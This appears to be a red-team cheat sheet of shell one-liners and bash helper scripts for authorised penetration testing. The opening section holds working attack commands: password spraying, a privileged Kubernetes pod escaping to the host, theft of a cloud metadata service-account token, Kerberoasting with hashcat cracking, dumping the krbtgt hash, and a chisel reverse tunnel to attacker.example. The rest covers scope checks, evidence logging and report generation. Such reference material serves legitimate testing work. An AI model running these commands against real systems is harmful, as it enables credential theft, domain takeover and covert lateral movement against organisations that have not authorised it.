Red team

subfinder -d example.com -silent | httpx -silent -sc -title -tech-detect | tee web.txt
nmap -iL hosts.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA sweep
nuclei -l web.txt -severity high,critical -o findings.txt

# Spray with lockout awareness: one password, all users, then wait
netexec smb dc-01.example.com -u users.txt -p 'Winter2025!' --continue-on-success --no-bruteforce

# Kubernetes: a node-level foothold looks like this and should be alerted on
kubectl run shell --rm -it --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"s","image":"alpine","securityContext":{"privileged":true},"stdin":true,"tty":true,"command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash"]}]}}'

linpeas.sh -a 2>&1 | tee linpeas.txt        # noisy but thorough; expect EDR to notice
sudo -l
find / -perm -4000 -type f 2>/dev/null
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

GetUserSPNs.py example.com/user:pass -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r best64.rule
secretsdump.py -just-dc-user krbtgt example.com/admin@dc-01 -k -no-pass

chisel server -p 8080 --reverse &                       # attacker
chisel client attacker.example:8080 R:socks             # foothold
proxychains4 -q netexec smb 10.10.0.0/24 -u u -p p

# Passive subdomains, deduplicated, from certificate transparency and public sources
subfinder -d example.com -all -silent | sort -u

# Certificate transparency names for a domain (no packets to the target)
curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u

# Which discovered names actually resolve, and to what
dnsx -l names.txt -a -resp -silent

# Live web hosts with status, title and detected technology, saved for the report
httpx -l hosts.txt -sc -title -tech-detect -o web-surface.txt

# Reverse-DNS a CIDR to spot naming conventions before any active scan
for ip in 192.0.2.{1..254}; do n=$(dig +short -x "$ip"); [[ -n $n ]] && printf '%s\t%s\n' "$ip" "$n"; done

# Confirm a single target is inside the in-scope allow-list before touching it
grep -qxF "$TARGET" scope/in-scope.txt && echo 'in scope' || echo 'OUT OF SCOPE - stop'

# Expand in-scope CIDRs to a flat host list the tooling can consume
while read -r c; do nmap -sL -n "$c" 2>/dev/null | awk '/Nmap scan report/ {print $NF}'; done < scope/in-scope-cidrs.txt > scope/hosts.txt

# Remove any excluded address from a target list before scanning
grep -vxF -f scope/exclusions.txt scope/hosts.txt > scope/targets.txt

# Are we inside the authorised test window right now
now=$(date -u +%s); [[ $now -ge $(date -u -d "$WINDOW_START" +%s) && $now -le $(date -u -d "$WINDOW_END" +%s) ]] && echo 'within window' || echo 'OUTSIDE window'

# Top-1000 TCP sweep of in-scope hosts, all output formats, for the record
nmap -iL scope/targets.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA evidence/sweep-$(date +%FT%H%M)

# Re-run only the services found open, for version detail
nmap -iL scope/targets.txt -sV -sC -p "$(awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | paste -sd,)" -oA evidence/services

# Templated safety and misconfiguration checks at high severity only
nuclei -l web-surface.txt -severity high,critical -o evidence/nuclei-$(date +%F).txt

# Content discovery excluding 404s, rate-limited to be polite
ffuf -u https://target/FUZZ -w wordlist.txt -mc all -fc 404 -rate 50 -o evidence/ffuf.json

# Read-only AD relationship collection with a valid ticket (needs only read access)
bloodhound-python -d example.com -u recon -p "$PASS" -c All -ns 192.0.2.10 --zip

# LDAP enumeration of the domain naming context with in-scope credentials
ldapsearch -x -H ldap://dc-01.example.com -D 'recon@example.com' -w "$PASS" -b 'dc=example,dc=com' '(objectClass=user)' sAMAccountName

# Hash the attacking host's source IPs so the blue team can filter deconfliction traffic
ip -4 -o addr show | awk '{print $4}' | tee evidence/attacker-source-ips.txt

# Timestamped, appended command log for the whole engagement
log() { printf '%s\t%s\n' "$(date -u +%FT%TZ)" "$*" >> evidence/commands.log; "$@"; }

# Screenshot proof of a web finding with the URL and time captured in the filename
gowitness single "https://target/path" -P evidence/screens/

# Count unique open ports across the sweep for a coverage summary
awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | wc -l

# Diff two sweeps to show what changed between test days
diff <(sort evidence/sweep-day1.gnmap) <(sort evidence/sweep-day2.gnmap)

# Extract host:port:service into a CSV the report generator reads
awk '/Ports:/ {host=$2; for (i=1;i<=NF;i++) if ($i ~ /open/) print host","$i}' evidence/services.gnmap

# Encrypt the evidence directory at rest before it leaves the test host
tar -cz evidence/ | age -r "$CLIENT_AGE_PUBKEY" > evidence-$(date +%F).tar.gz.age

# Verify TLS certificate details on an in-scope endpoint (see the TLS page for more)
openssl s_client -connect target.example.com:443 -servername target.example.com </dev/null 2>/dev/null | openssl x509 -noout -subject -dates

# Confirm cloud metadata protection on an in-scope instance (IMDSv1 reachable is a finding; see AWS)
curl -s --max-time 3 http://169.254.169.254/latest/meta-data/ -o /dev/null -w '%{http_code}\n'

# List scheduled tasks and services you may have created, to reconcile against cleanup
{ crontab -l 2>/dev/null; systemctl list-unit-files --state=enabled; } | grep -i "$ENGAGEMENT_TAG" || echo 'none tagged'

# Wordlist of just the hostnames from discovered web surface, for further passive lookups
awk '{print $1}' web-surface.txt | sed -E 's#https?://##; s#[:/].*##' | sort -u

#!/usr/bin/env bash
# usage: source scope-guard.sh; scoped nmap -sT -Pn 192.0.2.10
# expects scope/in-scope.txt (hosts/CIDRs), scope/exclusions.txt (hosts), and WINDOW_START/WINDOW_END in the environment
set -euo pipefail

in_window() {
  local now start end
  now=$(date -u +%s)
  start=$(date -u -d "${WINDOW_START:?set WINDOW_START}" +%s)
  end=$(date -u -d "${WINDOW_END:?set WINDOW_END}" +%s)
  (( now >= start && now <= end ))
}

in_scope() {                                  # true only if $1 is inside an in-scope entry and not excluded
  local target=$1
  grep -qxF "$target" scope/exclusions.txt 2>/dev/null && return 1
  # exact host match, or membership of an in-scope CIDR via nmap -sL
  grep -qxF "$target" scope/in-scope.txt && return 0
  while read -r entry; do
    [[ $entry == */* ]] || continue
    nmap -sL -n "$entry" 2>/dev/null | grep -q "report for $target\$" && return 0
  done < scope/in-scope.txt
  return 1
}

scoped() {
  in_window || { echo 'REFUSED: outside the authorised test window' >&2; return 1; }
  # Check every argument that looks like an IPv4 address or a hostname
  local a
  for a in "$@"; do
    [[ $a =~ ^[0-9]+(\.[0-9]+){3}$ || $a =~ ^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ ]] || continue
    in_scope "$a" || { printf 'REFUSED: %s is not in scope\n' "$a" >&2; return 1; }
  done
  printf '%s\t%s\n' "$(date -u +%FT%TZ)" "$*" >> evidence/commands.log
  "$@"
}

#!/usr/bin/env bash
# usage: run.sh nmap -sT -Pn 192.0.2.10
set -euo pipefail
mkdir -p evidence/runs
stamp=$(date -u +%Y%m%dT%H%M%SZ)
slug=$(printf '%s' "$*" | tr -c 'A-Za-z0-9' '-' | cut -c1-60)
out="evidence/runs/${stamp}_${slug}.log"

{
  printf '# command: %s\n# started: %s\n# host:    %s\n\n' "$*" "$stamp" "$(hostname)"
} > "$out"

set +e
"$@" > >(tee -a "$out") 2> >(tee -a "$out" >&2)
rc=$?
set -e

printf '\n# finished: %s\n# exit:     %d\n' "$(date -u +%FT%TZ)" "$rc" >> "$out"
printf '%s\texit=%d\t%s\t%s\n' "$stamp" "$rc" "$out" "$*" >> evidence/index.tsv
exit "$rc"

#!/usr/bin/env bash
# usage: findings-summary.sh evidence/findings.tsv > report/summary.md
set -euo pipefail
f=${1:?findings tsv (severity<TAB>title<TAB>asset<TAB>detected)}

rank() { case ${1,,} in critical) echo 0;; high) echo 1;; medium) echo 2;; low) echo 3;; *) echo 4;; esac; }

printf '| Severity | Finding | Affected asset | Detected |\n| --- | --- | --- | --- |\n'
while IFS=$'\t' read -r sev title asset detected; do
  [[ -z ${sev:-} || $sev == severity ]] && continue
  printf '%d\t%s\t%s\t%s\t%s\n' "$(rank "$sev")" "$sev" "$title" "$asset" "$detected"
done < "$f" | sort -n | cut -f2- | while IFS=$'\t' read -r sev title asset detected; do
  # escape any pipe so the Markdown table renders
  printf '| %s | %s | %s | %s |\n' "$sev" "${title//|/\\|}" "${asset//|/\\|}" "${detected:-not tested}"
done

printf '\n_%d findings, generated %s._\n' "$(grep -vc '^severity' "$f")" "$(date -u +%F)"